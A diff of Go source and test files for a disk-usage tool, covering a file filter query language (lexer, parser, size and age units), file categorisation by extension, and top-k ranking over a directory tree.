"name matches '^w.*k$'": {"win.vmdk"},
|
||||
"ext != qcow2 && type = file && size > 1GB": {"win.vmdk"},
|
||||
"name = 'notes.txt'": {"notes.txt"},
|
||||
}
|
||||
for q, want := range cases {
|
||||
got := names(t, tr, q)
|
||||
if len(got) != len(want) {
|
||||
t.Errorf("%q: got %v want %v", q, got, want)
|
||||
continue
|
||||
}
|
||||
for _, w := range want {
|
||||
if !got[w] {
|
||||
t.Errorf("%q: got %v want %v", q, got, want)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestFilteredSizesNoDoubleCount(t *testing.T) {
|
||||
tr := tree()
|
||||
q, _ := Parse("name = vms OR ext = qcow2", time.Now())
|
||||
r, _ := Apply(context.Background(), tr, q, inventory.SizeLogical)
|
||||
if want := tr.Node(1).TotSize; r.Total != want {
|
||||
t.Fatalf("total %d want %d (matching dir must not double count matching child)", r.Total, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseErrors(t *testing.T) {
|
||||
for _, q := range []string{"", "size >", "size > banana", "(ext = iso", "ext = iso)", "size contains 5",
|
||||
"name matches '['", "type = blob", "'unterminated", "a & b", "category = nope"} {
|
||||
if _, err := Parse(q, time.Now()); err == nil {
|
||||
t.Errorf("Parse(%q) should fail", q)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseSize(t *testing.T) {
|
||||
cases := map[string]int64{"1GB": 1e9, "1GiB": 1 << 30, "1.5k": 1536, "500MB": 5e8, "10": 10}
|
||||
for in, want := range cases {
|
||||
if got, err := ParseSize(in); err != nil || got != want {
|
||||
t.Errorf("ParseSize(%q)=%d,%v want %d", in, got, err, want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func FuzzParse(f *testing.F) {
|
||||
for _, s := range []string{"size > 1GB", "(a OR b) AND NOT c", "ext IN (a,b)", "'x", "name matches '.*'"} {
|
||||
f.Add(s)
|
||||
}
|
||||
tr := tree()
|
||||
f.Fuzz(func(t *testing.T, s string) {
|
||||
q, err := Parse(s, time.Now())
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
Apply(context.Background(), tr, q, inventory.SizeAllocated)
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,103 @@
|
||||
// Package filter implements the search/filter query language:
|
||||
//
|
||||
// query := or
|
||||
// or := and { OR and }
|
||||
// and := unary { [AND] unary } (juxtaposition means AND)
|
||||
// unary := NOT unary | "(" query ")" | cmp | word
|
||||
// cmp := field op value
|
||||
// op := = | != | > | >= | < | <= | contains | matches | in | ~
|
||||
// value := word | "quoted string" | "(" value { "," value } ")"
|
||||
//
|
||||
// A bare word matches the name: substring (case-insensitive), or a glob if it
|
||||
// contains * ? or [. Parsing is independent of the UI and fully testable.
|
||||
package filter
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
"unicode"
|
||||
)
|
||||
|
||||
type tokKind int
|
||||
|
||||
const (
|
||||
tEOF tokKind = iota
|
||||
tWord
|
||||
tString
|
||||
tOp
|
||||
tLParen
|
||||
tRParen
|
||||
tComma
|
||||
)
|
||||
|
||||
type token struct {
|
||||
kind tokKind
|
||||
val string
|
||||
pos int
|
||||
}
|
||||
|
||||
func lex(s string) ([]token, error) {
|
||||
var out []token
|
||||
i := 0
|
||||
for i < len(s) {
|
||||
c := s[i]
|
||||
switch {
|
||||
case c == ' ' || c == '\t' || c == '\n' || c == '\r':
|
||||
i++
|
||||
case c == '(':
|
||||
out = append(out, token{tLParen, "(", i})
|
||||
i++
|
||||
case c == ')':
|
||||
out = append(out, token{tRParen, ")", i})
|
||||
i++
|
||||
case c == ',':
|
||||
out = append(out, token{tComma, ",", i})
|
||||
i++
|
||||
case c == '"' || c == '\'':
|
||||
q := c
|
||||
start := i
|
||||
i++
|
||||
var b strings.Builder
|
||||
for i < len(s) && s[i] != q {
|
||||
if s[i] == '\\' && i+1 < len(s) {
|
||||
i++
|
||||
}
|
||||
b.WriteByte(s[i])
|
||||
i++
|
||||
}
|
||||
if i >= len(s) {
|
||||
return nil, fmt.Errorf("unterminated string at %d", start+1)
|
||||
}
|
||||
i++
|
||||
out = append(out, token{tString, b.String(), start})
|
||||
case strings.ContainsRune("=!<>~&|", rune(c)):
|
||||
start := i
|
||||
op := string(c)
|
||||
if i+1 < len(s) && (s[i+1] == '=' || (c == '&' && s[i+1] == '&') || (c == '|' && s[i+1] == '|')) {
|
||||
op += string(s[i+1])
|
||||
}
|
||||
i += len(op)
|
||||
switch op {
|
||||
case "&&":
|
||||
out = append(out, token{tWord, "AND", start})
|
||||
case "||":
|
||||
out = append(out, token{tWord, "OR", start})
|
||||
case "!":
|
||||
out = append(out, token{tWord, "NOT", start})
|
||||
case "&", "|":
|
||||
return nil, fmt.Errorf("unexpected %q at %d", op, start+1)
|
||||
case "==":
|
||||
out = append(out, token{tOp, "=", start})
|
||||
default:
|
||||
out = append(out, token{tOp, op, start})
|
||||
}
|
||||
default:
|
||||
start := i
|
||||
for i < len(s) && !unicode.IsSpace(rune(s[i])) && !strings.ContainsRune("()=!<>~,\"'&|", rune(s[i])) {
|
||||
i++
|
||||
}
|
||||
out = append(out, token{tWord, s[start:i], start})
|
||||
}
|
||||
}
|
||||
return append(out, token{tEOF, "", len(s)}), nil
|
||||
}
|
||||
@@ -0,0 +1,382 @@
|
||||
package filter
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/andydixon/mapsize/internal/inventory"
|
||||
"github.com/andydixon/mapsize/internal/textutil"
|
||||
)
|
||||
|
||||
// Field is a filterable attribute.
|
||||
type Field int
|
||||
|
||||
const (
|
||||
FName Field = iota
|
||||
FPath
|
||||
FExt
|
||||
FType
|
||||
FCategory
|
||||
FSize
|
||||
FAllocated
|
||||
FAge
|
||||
FModified
|
||||
FOwner
|
||||
FGroup
|
||||
FFiles
|
||||
FFlag
|
||||
)
|
||||
|
||||
var fieldNames = map[string]Field{
|
||||
"name": FName, "path": FPath, "ext": FExt, "extension": FExt, "type": FType, "kind": FType,
|
||||
"category": FCategory, "cat": FCategory, "size": FSize, "allocated": FAllocated, "alloc": FAllocated,
|
||||
"age": FAge, "modified": FModified, "mtime": FModified, "owner": FOwner, "user": FOwner, "group": FGroup,
|
||||
"files": FFiles, "flag": FFlag, "is": FFlag,
|
||||
}
|
||||
|
||||
// Fields lists the field names for help text.
|
||||
const Fields = "name path ext type category size allocated age modified owner group files flag"
|
||||
|
||||
// Query is a compiled filter.
|
||||
type Query struct {
|
||||
src string
|
||||
root node
|
||||
UsesPath bool
|
||||
}
|
||||
|
||||
func (q *Query) String() string { return q.src }
|
||||
|
||||
type parser struct {
|
||||
toks []token
|
||||
i int
|
||||
q *Query
|
||||
now time.Time
|
||||
}
|
||||
|
||||
// Parse compiles a query. now anchors relative ages (pass time.Now()).
|
||||
func Parse(s string, now time.Time) (*Query, error) {
|
||||
toks, err := lex(s)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
q := &Query{src: s}
|
||||
p := &parser{toks: toks, q: q, now: now}
|
||||
if p.peek().kind == tEOF {
|
||||
return nil, fmt.Errorf("empty query")
|
||||
}
|
||||
q.root, err = p.or()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if t := p.peek(); t.kind != tEOF {
|
||||
return nil, fmt.Errorf("unexpected %q at %d", t.val, t.pos+1)
|
||||
}
|
||||
return q, nil
|
||||
}
|
||||
|
||||
func (p *parser) peek() token { return p.toks[p.i] }
|
||||
func (p *parser) next() token {
|
||||
t := p.toks[p.i]
|
||||
if t.kind != tEOF {
|
||||
p.i++
|
||||
}
|
||||
return t
|
||||
}
|
||||
|
||||
func isKw(t token, kw string) bool { return t.kind == tWord && strings.EqualFold(t.val, kw) }
|
||||
|
||||
func (p *parser) or() (node, error) {
|
||||
l, err := p.and()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for isKw(p.peek(), "OR") {
|
||||
p.next()
|
||||
r, err := p.and()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
l = orNode{l, r}
|
||||
}
|
||||
return l, nil
|
||||
}
|
||||
|
||||
func (p *parser) and() (node, error) {
|
||||
l, err := p.unary()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for {
|
||||
t := p.peek()
|
||||
if isKw(t, "AND") {
|
||||
p.next()
|
||||
} else if t.kind == tEOF || t.kind == tRParen || isKw(t, "OR") {
|
||||
return l, nil
|
||||
}
|
||||
r, err := p.unary()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
l = andNode{l, r}
|
||||
}
|
||||
}
|
||||
|
||||
func (p *parser) unary() (node, error) {
|
||||
t := p.peek()
|
||||
switch {
|
||||
case isKw(t, "NOT"):
|
||||
p.next()
|
||||
n, err := p.unary()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return notNode{n}, nil
|
||||
case t.kind == tLParen:
|
||||
p.next()
|
||||
n, err := p.or()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if p.next().kind != tRParen {
|
||||
return nil, fmt.Errorf("missing ) for ( at %d", t.pos+1)
|
||||
}
|
||||
return n, nil
|
||||
case t.kind == tWord || t.kind == tString:
|
||||
p.next()
|
||||
if f, ok := fieldNames[strings.ToLower(t.val)]; ok && t.kind == tWord && p.isOp(p.peek()) {
|
||||
return p.cmp(f, p.next())
|
||||
}
|
||||
return nameMatch(t.val), nil
|
||||
}
|
||||
return nil, fmt.Errorf("unexpected %q at %d", t.val, t.pos+1)
|
||||
}
|
||||
|
||||
func (p *parser) isOp(t token) bool {
|
||||
return t.kind == tOp || isKw(t, "contains") || isKw(t, "matches") || isKw(t, "in")
|
||||
}
|
||||
|
||||
func nameMatch(v string) node {
|
||||
lv := strings.ToLower(v)
|
||||
if strings.ContainsAny(v, "*?[") {
|
||||
return globNode{field: FName, pat: lv}
|
||||
}
|
||||
return containsNode{field: FName, sub: lv}
|
||||
}
|
||||
|
||||
func (p *parser) values() ([]token, error) {
|
||||
if p.peek().kind != tLParen {
|
||||
t := p.next()
|
||||
if t.kind != tWord && t.kind != tString {
|
||||
return nil, fmt.Errorf("expected value at %d", t.pos+1)
|
||||
}
|
||||
return []token{t}, nil
|
||||
}
|
||||
p.next()
|
||||
var out []token
|
||||
for {
|
||||
t := p.next()
|
||||
if t.kind != tWord && t.kind != tString {
|
||||
return nil, fmt.Errorf("expected value at %d", t.pos+1)
|
||||
}
|
||||
out = append(out, t)
|
||||
switch n := p.next(); n.kind {
|
||||
case tComma:
|
||||
case tRParen:
|
||||
return out, nil
|
||||
default:
|
||||
return nil, fmt.Errorf("expected , or ) at %d", n.pos+1)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (p *parser) cmp(f Field, opTok token) (node, error) {
|
||||
op := strings.ToLower(opTok.val)
|
||||
if op == "~" {
|
||||
op = "matches"
|
||||
}
|
||||
vals, err := p.values()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if op != "in" && len(vals) != 1 {
|
||||
return nil, fmt.Errorf("operator %s takes one value", op)
|
||||
}
|
||||
if f == FPath {
|
||||
p.q.UsesPath = true
|
||||
}
|
||||
switch f {
|
||||
case FSize, FAllocated, FAge, FModified, FFiles:
|
||||
if op == "contains" || op == "matches" {
|
||||
return nil, fmt.Errorf("%s cannot be used with numeric field", op)
|
||||
}
|
||||
var nums []int64
|
||||
for _, v := range vals {
|
||||
n, err := p.number(f, v.val)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
nums = append(nums, n)
|
||||
}
|
||||
if op == "in" {
|
||||
op = "="
|
||||
}
|
||||
return numNode{field: f, op: op, vals: nums}, nil
|
||||
}
|
||||
// String-like fields.
|
||||
switch op {
|
||||
case "contains":
|
||||
return containsNode{field: f, sub: strings.ToLower(vals[0].val)}, nil
|
||||
case "matches":
|
||||
re, err := regexp.Compile("(?i)" + vals[0].val)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("bad regular expression: %v", err)
|
||||
}
|
||||
return reNode{field: f, re: re}, nil
|
||||
case "=", "!=", "in":
|
||||
var n node
|
||||
var set []string
|
||||
for _, v := range vals {
|
||||
s := strings.ToLower(v.val)
|
||||
if f == FExt {
|
||||
s = strings.TrimPrefix(s, ".")
|
||||
}
|
||||
if f == FCategory {
|
||||
c, ok := inventory.ParseCategory(s)
|
||||
if !ok {
|
||||
return nil, fmt.Errorf("unknown category %q", v.val)
|
||||
}
|
||||
s = strings.ToLower(c.String())
|
||||
}
|
||||
if f == FType {
|
||||
s, err = normType(s)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
if f == FFlag {
|
||||
if _, ok := flagNames[s]; !ok {
|
||||
return nil, fmt.Errorf("unknown flag %q (sparse, hardlink, error, mount, incomplete, followed, broken)", v.val)
|
||||
}
|
||||
}
|
||||
set = append(set, s)
|
||||
}
|
||||
if len(set) == 1 && strings.ContainsAny(set[0], "*?[") {
|
||||
if _, err := filepath.Match(set[0], ""); err != nil {
|
||||
return nil, fmt.Errorf("bad pattern %q", vals[0].val)
|
||||
}
|
||||
n = globNode{field: f, pat: set[0]}
|
||||
} else {
|
||||
n = eqNode{field: f, set: set}
|
||||
}
|
||||
if op == "!=" {
|
||||
n = notNode{n}
|
||||
}
|
||||
return n, nil
|
||||
}
|
||||
return nil, fmt.Errorf("operator %s not valid for %s", op, opTok.val)
|
||||
}
|
||||
|
||||
func normType(s string) (string, error) {
|
||||
switch s {
|
||||
case "f", "file":
|
||||
return "file", nil
|
||||
case "d", "dir", "directory":
|
||||
return "directory", nil
|
||||
case "l", "link", "symlink":
|
||||
return "symlink", nil
|
||||
case "other", "special":
|
||||
return "special", nil
|
||||
}
|
||||
return "", fmt.Errorf("unknown type %q (file, dir, symlink, other)", s)
|
||||
}
|
||||
|
||||
var flagNames = map[string]inventory.Flags{
|
||||
"sparse": inventory.FlagSparse, "hardlink": inventory.FlagHardlinked, "hardlinked": inventory.FlagHardlinked,
|
||||
"error": inventory.FlagError, "mount": inventory.FlagMountPoint, "incomplete": inventory.FlagIncomplete,
|
||||
"followed": inventory.FlagFollowed, "broken": inventory.FlagBrokenLink,
|
||||
}
|
||||
|
||||
// number parses sizes ("1.5GiB", "500MB", "10k"), ages ("365d", "2w") and
|
||||
// dates ("2024-01-31"). Ages and dates are converted to modification times
|
||||
// (unix nanoseconds) relative to p.now.
|
||||
func (p *parser) number(f Field, s string) (int64, error) {
|
||||
switch f {
|
||||
case FSize, FAllocated:
|
||||
return ParseSize(s)
|
||||
case FFiles:
|
||||
return strconv.ParseInt(s, 10, 64)
|
||||
case FAge:
|
||||
d, err := ParseAge(s)
|
||||
return int64(d), err
|
||||
case FModified:
|
||||
for _, layout := range []string{"2006-01-02", "2006-01-02T15:04", "2006-01-02 15:04", time.RFC3339} {
|
||||
if t, err := time.ParseInLocation(layout, s, time.Local); err == nil {
|
||||
return t.UnixNano(), nil
|
||||
}
|
||||
}
|
||||
if d, err := ParseAge(s); err == nil {
|
||||
return p.now.Add(-d).UnixNano(), nil
|
||||
}
|
||||
return 0, fmt.Errorf("bad date %q (use YYYY-MM-DD or an age like 30d)", s)
|
||||
}
|
||||
return 0, fmt.Errorf("not numeric")
|
||||
}
|
||||
|
||||
// ParseSize parses a size with optional unit. kB/MB/GB/TB are SI (powers of
|
||||
// 1000); KiB/MiB/GiB/TiB are IEC (1024). Bare K/M/G/T follow the display
|
||||
// setting (textutil.SI).
|
||||
func ParseSize(s string) (int64, error) {
|
||||
i := 0
|
||||
for i < len(s) && (s[i] >= '0' && s[i] <= '9' || s[i] == '.') {
|
||||
i++
|
||||
}
|
||||
if i == 0 {
|
||||
return 0, fmt.Errorf("bad size %q", s)
|
||||
}
|
||||
v, err := strconv.ParseFloat(s[:i], 64)
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("bad size %q", s)
|
||||
}
|
||||
unit := strings.ToLower(strings.TrimSpace(s[i:]))
|
||||
bare := 1024.0
|
||||
if textutil.SI {
|
||||
bare = 1000
|
||||
}
|
||||
mult := map[string]float64{"": 1, "b": 1,
|
||||
"k": bare, "m": bare * bare, "g": bare * bare * bare, "t": bare * bare * bare * bare, "p": bare * bare * bare * bare * bare,
|
||||
"kb": 1e3, "mb": 1e6, "gb": 1e9, "tb": 1e12, "pb": 1e15,
|
||||
"kib": 1 << 10, "mib": 1 << 20, "gib": 1 << 30, "tib": 1 << 40, "pib": 1 << 50}
|
||||
m, ok := mult[unit]
|
||||
if !ok {
|
||||
return 0, fmt.Errorf("unknown size unit %q", s[i:])
|
||||
}
|
||||
r := v * m
|
||||
if r > 9e18 {
|
||||
return 0, fmt.Errorf("size %q too large", s)
|
||||
}
|
||||
return int64(r), nil
|
||||
}
|
||||
|
||||
// ParseAge parses durations like 90s, 30min, 12h, 7d, 2w, 6mo, 1y.
|
||||
func ParseAge(s string) (time.Duration, error) {
|
||||
i := 0
|
||||
for i < len(s) && (s[i] >= '0' && s[i] <= '9' || s[i] == '.') {
|
||||
i++
|
||||
}
|
||||
v, err := strconv.ParseFloat(s[:i], 64)
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("bad age %q", s)
|
||||
}
|
||||
day := 24 * time.Hour
|
||||
units := map[string]time.Duration{"s": time.Second, "sec": time.Second, "min": time.Minute,
|
||||
"h": time.Hour, "d": day, "": day, "w": 7 * day, "m": 30 * day, "mo": 30 * day, "y": 365 * day}
|
||||
u, ok := units[strings.ToLower(s[i:])]
|
||||
if !ok {
|
||||
return 0, fmt.Errorf("unknown age unit %q (s, min, h, d, w, mo, y)", s[i:])
|
||||
}
|
||||
return time.Duration(v * float64(u)), nil
|
||||
}
|
||||
@@ -0,0 +1,117 @@
|
||||
package inventory
|
||||
|
||||
import "strings"
|
||||
|
||||
// Category is a coarse file classification used for colouring and stats.
|
||||
type Category uint8
|
||||
|
||||
const (
|
||||
CatOther Category = iota
|
||||
CatImage
|
||||
CatVideo
|
||||
CatAudio
|
||||
CatArchive
|
||||
CatDiskImage
|
||||
CatDatabase
|
||||
CatCode
|
||||
CatDocument
|
||||
CatExecutable
|
||||
CatLog
|
||||
CatCache
|
||||
NumCategories
|
||||
)
|
||||
|
||||
var categoryNames = [NumCategories]string{
|
||||
"Other", "Image", "Video", "Audio", "Archive", "Disk image", "Database",
|
||||
"Source code", "Document", "Executable", "Log", "Cache",
|
||||
}
|
||||
|
||||
func (c Category) String() string {
|
||||
if c < NumCategories {
|
||||
return categoryNames[c]
|
||||
}
|
||||
return "Other"
|
||||
}
|
||||
|
||||
// ParseCategory resolves a category by (case-insensitive) name or prefix.
|
||||
func ParseCategory(s string) (Category, bool) {
|
||||
s = strings.ToLower(strings.TrimSpace(s))
|
||||
for i, n := range categoryNames {
|
||||
ln := strings.ToLower(n)
|
||||
if ln == s || strings.ReplaceAll(ln, " ", "") == s || strings.HasPrefix(ln, s) && len(s) >= 3 {
|
||||
return Category(i), true
|
||||
}
|
||||
}
|
||||
switch s {
|
||||
case "vm", "virtual machine", "disk":
|
||||
return CatDiskImage, true
|
||||
case "db":
|
||||
return CatDatabase, true
|
||||
case "src", "source":
|
||||
return CatCode, true
|
||||
case "exe", "binary":
|
||||
return CatExecutable, true
|
||||
}
|
||||
return 0, false
|
||||
}
|
||||
|
||||
var extCategory = map[string]Category{}
|
||||
|
||||
func init() {
|
||||
add := func(c Category, exts string) {
|
||||
for _, e := range strings.Fields(exts) {
|
||||
extCategory[e] = c
|
||||
}
|
||||
}
|
||||
add(CatImage, "jpg jpeg png gif bmp tif tiff webp heic heif raw cr2 cr3 nef arw dng svg ico psd xcf avif jxl orf rw2")
|
||||
add(CatVideo, "mp4 mkv mov avi wmv flv webm m4v mpg mpeg ts m2ts vob 3gp ogv mts")
|
||||
add(CatAudio, "mp3 flac wav ogg oga opus m4a aac wma aiff aif alac mid midi")
|
||||
add(CatArchive, "zip tar gz tgz bz2 tbz xz txz zst zstd 7z rar lz lz4 lzma cab deb rpm apk jar war cpio pkg snap whl gem")
|
||||
add(CatDiskImage, "iso img qcow qcow2 vmdk vdi vhd vhdx hdd ova ovf dmg raw vmem vmsn nvram sav")
|
||||
add(CatDatabase, "db sqlite sqlite3 db3 mdb accdb frm ibd myd myi ldf mdf ndf dbf wal kdbx realm lmdb rdb aof")
|
||||
add(CatCode, "c h cc cpp cxx hpp hh go rs py pyc js mjs cjs ts tsx jsx java kt kts scala rb php pl pm sh bash zsh fish lua swift m mm cs fs vb r jl hs ml ex exs erl clj dart sql css scss sass less html htm vue svelte json yaml yml toml xml proto gradle cmake mk ipynb o a lib obj class")
|
||||
add(CatDocument, "pdf doc docx odt rtf txt md rst tex xls xlsx ods csv tsv ppt pptx odp epub mobi djvu pages numbers key org adoc")
|
||||
add(CatExecutable, "exe dll so dylib bin msi app elf ko sys efi appimage com")
|
||||
add(CatLog, "log journal")
|
||||
add(CatCache, "cache tmp temp swp bak old part crdownload")
|
||||
}
|
||||
|
||||
// CategoryFor classifies a file by its (lower-case) extension and by
|
||||
// whether it lives beneath a cache or log directory.
|
||||
func CategoryFor(ext string, inCache, inLog bool) Category {
|
||||
c, ok := extCategory[ext]
|
||||
switch {
|
||||
case inCache && (!ok || c == CatOther || c == CatCode):
|
||||
return CatCache
|
||||
case inLog && (!ok || c == CatArchive || c == CatOther):
|
||||
return CatLog
|
||||
case ok:
|
||||
return c
|
||||
}
|
||||
return CatOther
|
||||
}
|
||||
|
||||
// PathHints reports whether a directory path contains a cache or log
|
||||
// component. It is evaluated once per directory, not per file.
|
||||
func PathHints(path string) (inCache, inLog bool) {
|
||||
lp := strings.ToLower(path)
|
||||
for _, part := range strings.FieldsFunc(lp, func(r rune) bool { return r == '/' || r == '\\' }) {
|
||||
switch part {
|
||||
case "cache", ".cache", "caches", "__pycache__", ".npm", ".gradle", "inetcache", "temp", "tmp":
|
||||
inCache = true
|
||||
case "log", "logs", ".logs", "journal":
|
||||
inLog = true
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// Ext returns the lower-case extension of name without the dot ("" if none,
|
||||
// or if the name is a dotfile like ".bashrc").
|
||||
func Ext(name string) string {
|
||||
i := strings.LastIndexByte(name, '.')
|
||||
if i <= 0 || i == len(name)-1 || len(name)-i > 16 {
|
||||
return ""
|
||||
}
|
||||
return strings.ToLower(name[i+1:])
|
||||
}
|
||||
@@ -0,0 +1,176 @@
|
||||
package inventory
|
||||
|
||||
import (
|
||||
"container/heap"
|
||||
"sort"
|
||||
)
|
||||
|
||||
// SizeMode selects which size drives layout and sorting.
|
||||
type SizeMode uint8
|
||||
|
||||
const (
|
||||
SizeAllocated SizeMode = iota // disk usage (default)
|
||||
SizeLogical // apparent size
|
||||
)
|
||||
|
||||
func (m SizeMode) String() string {
|
||||
if m == SizeLogical {
|
||||
return "logical"
|
||||
}
|
||||
return "allocated"
|
||||
}
|
||||
|
||||
// Total returns the node's aggregate size in the given mode.
|
||||
func (n *Node) Total(m SizeMode) int64 {
|
||||
if m == SizeLogical {
|
||||
return n.TotSize
|
||||
}
|
||||
return n.TotAlloc
|
||||
}
|
||||
|
||||
// Own returns the node's own size in the given mode.
|
||||
func (n *Node) Own(m SizeMode) int64 {
|
||||
if m == SizeLogical {
|
||||
return n.Size
|
||||
}
|
||||
return n.Alloc
|
||||
}
|
||||
|
||||
type ranked struct {
|
||||
id NodeID
|
||||
key int64
|
||||
}
|
||||
|
||||
type minHeap []ranked
|
||||
|
||||
func (h minHeap) Len() int { return len(h) }
|
||||
func (h minHeap) Less(i, j int) bool {
|
||||
if h[i].key != h[j].key {
|
||||
return h[i].key < h[j].key
|
||||
}
|
||||
return h[i].id > h[j].id
|
||||
}
|
||||
func (h minHeap) Swap(i, j int) { h[i], h[j] = h[j], h[i] }
|
||||
func (h *minHeap) Push(x any) { *h = append(*h, x.(ranked)) }
|
||||
func (h *minHeap) Pop() any {
|
||||
old := *h
|
||||
x := old[len(old)-1]
|
||||
*h = old[:len(old)-1]
|
||||
return x
|
||||
}
|
||||
|
||||
// TopK keeps the k entries with the largest keys; O(n log k).
|
||||
type TopK struct {
|
||||
k int
|
||||
h minHeap
|
||||
}
|
||||
|
||||
// NewTopK creates a collector for the k largest keys.
|
||||
func NewTopK(k int) *TopK { return &TopK{k: k} }
|
||||
|
||||
// Offer considers one candidate.
|
||||
func (t *TopK) Offer(id NodeID, key int64) {
|
||||
if t.k <= 0 {
|
||||
return
|
||||
}
|
||||
if len(t.h) < t.k {
|
||||
heap.Push(&t.h, ranked{id, key})
|
||||
return
|
||||
}
|
||||
if r := t.h[0]; key > r.key || key == r.key && id < r.id {
|
||||
t.h[0] = ranked{id, key}
|
||||
heap.Fix(&t.h, 0)
|
||||
}
|
||||
}
|
||||
|
||||
// Sorted returns the collected IDs, largest key first (ties by ID).
|
||||
func (t *TopK) Sorted() []NodeID {
|
||||
rs := append([]ranked(nil), t.h...)
|
||||
sort.Slice(rs, func(i, j int) bool {
|
||||
if rs[i].key != rs[j].key {
|
||||
return rs[i].key > rs[j].key
|
||||
}
|
||||
return rs[i].id < rs[j].id
|
||||
})
|
||||
out := make([]NodeID, len(rs))
|
||||
for i, r := range rs {
|
||||
out[i] = r.id
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// Walk visits id and all its descendants depth-first (iteratively).
|
||||
func (t *Tree) Walk(id NodeID, fn func(NodeID, *Node) bool) {
|
||||
stack := []NodeID{id}
|
||||
for len(stack) > 0 {
|
||||
cur := stack[len(stack)-1]
|
||||
stack = stack[:len(stack)-1]
|
||||
n := t.Node(cur)
|
||||
if !fn(cur, n) {
|
||||
continue
|
||||
}
|
||||
for c := n.FirstChild; c != NoNode; c = t.Node(c).NextSibling {
|
||||
stack = append(stack, c)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Top returns the k nodes beneath (and including) root with the largest key,
|
||||
// considering only nodes accepted by keep.
|
||||
func (t *Tree) Top(root NodeID, k int, keep func(*Node) bool, key func(*Node) int64) []NodeID {
|
||||
tk := NewTopK(k)
|
||||
t.Walk(root, func(id NodeID, n *Node) bool {
|
||||
if keep(n) {
|
||||
tk.Offer(id, key(n))
|
||||
}
|
||||
return true
|
||||
})
|
||||
return tk.Sorted()
|
||||
}
|
||||
|
||||
// SortedChildren returns the children of id ordered by size descending.
|
||||
func (t *Tree) SortedChildren(id NodeID, m SizeMode) []NodeID {
|
||||
var out []NodeID
|
||||
t.Children(id, func(c NodeID, _ *Node) { out = append(out, c) })
|
||||
sort.Slice(out, func(i, j int) bool {
|
||||
a, b := t.Node(out[i]).Total(m), t.Node(out[j]).Total(m)
|
||||
if a != b {
|
||||
return a > b
|
||||
}
|
||||
return out[i] < out[j]
|
||||
})
|
||||
return out
|
||||
}
|
||||
|
||||
// ExtStat summarises one extension.
|
||||
type ExtStat struct {
|
||||
Ext string
|
||||
Cat Category
|
||||
Count int64
|
||||
Size int64 // logical
|
||||
Alloc int64
|
||||
}
|
||||
|
||||
// ExtStats aggregates file statistics by extension beneath root.
|
||||
func (t *Tree) ExtStats(root NodeID) []ExtStat {
|
||||
stats := make([]ExtStat, t.ExtCount())
|
||||
t.Walk(root, func(_ NodeID, n *Node) bool {
|
||||
if n.Kind == KindFile && n.Flags&FlagHardlinkDup == 0 {
|
||||
s := &stats[n.Ext]
|
||||
s.Count++
|
||||
s.Size += n.Size
|
||||
s.Alloc += n.Alloc
|
||||
s.Cat = n.Cat
|
||||
}
|
||||
return true
|
||||
})
|
||||
out := stats[:0]
|
||||
for i, s := range stats {
|
||||
if s.Count > 0 {
|
||||
s.Ext = t.exts[i]
|
||||
s.Cat = CategoryFor(s.Ext, false, false)
|
||||
out = append(out, s)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
@@ -0,0 +1,42 @@
|
||||
package inventory
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestTopKAndRecompute(t *testing.T) {
|
||||
tr := New("/r", KindDir)
|
||||
d := tr.Add(0, "d", KindDir)
|
||||
for i := range 100 {
|
||||
id := tr.Add(d, "f", KindFile)
|
||||
n := tr.Node(id)
|
||||
n.Size, n.Alloc = int64(i), int64(i)
|
||||
}
|
||||
tr.Recompute()
|
||||
if got := tr.Node(0).TotSize; got != 4950 {
|
||||
t.Fatalf("total %d", got)
|
||||
}
|
||||
if tr.Node(0).Files != 100 || tr.Node(0).Dirs != 1 {
|
||||
t.Fatalf("counts %d %d", tr.Node(0).Files, tr.Node(0).Dirs)
|
||||
}
|
||||
top := tr.Top(0, 3, func(n *Node) bool { return n.Kind == KindFile }, func(n *Node) int64 { return n.Size })
|
||||
if len(top) != 3 || tr.Node(top[0]).Size != 99 || tr.Node(top[2]).Size != 97 {
|
||||
t.Fatalf("top %v", top)
|
||||
}
|
||||
if p := tr.Path(top[0]); p != "/r/d/f" {
|
||||
t.Fatalf("path %q", p)
|
||||
}
|
||||
}
|
||||
|
||||
func TestExtAndCategory(t *testing.T) {
|
||||
cases := map[string]string{"a.QCOW2": "qcow2", ".bashrc": "", "noext": "", "x.tar.gz": "gz", "trail.": ""}
|
||||
for in, want := range cases {
|
||||
if got := Ext(in); got != want {
|
||||
t.Errorf("Ext(%q)=%q want %q", in, got, want)
|
||||
}
|
||||
}
|
||||
if CategoryFor("qcow2", false, false) != CatDiskImage || CategoryFor("bin", true, false) != CatExecutable {
|
||||
t.Fatal("category mapping")
|
||||
}
|
||||
if CategoryFor("", true, false) != CatCache {
|
||||
t.Fatal("cache hint")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,106 @@
|
||||
package inventory
|
||||
|
||||
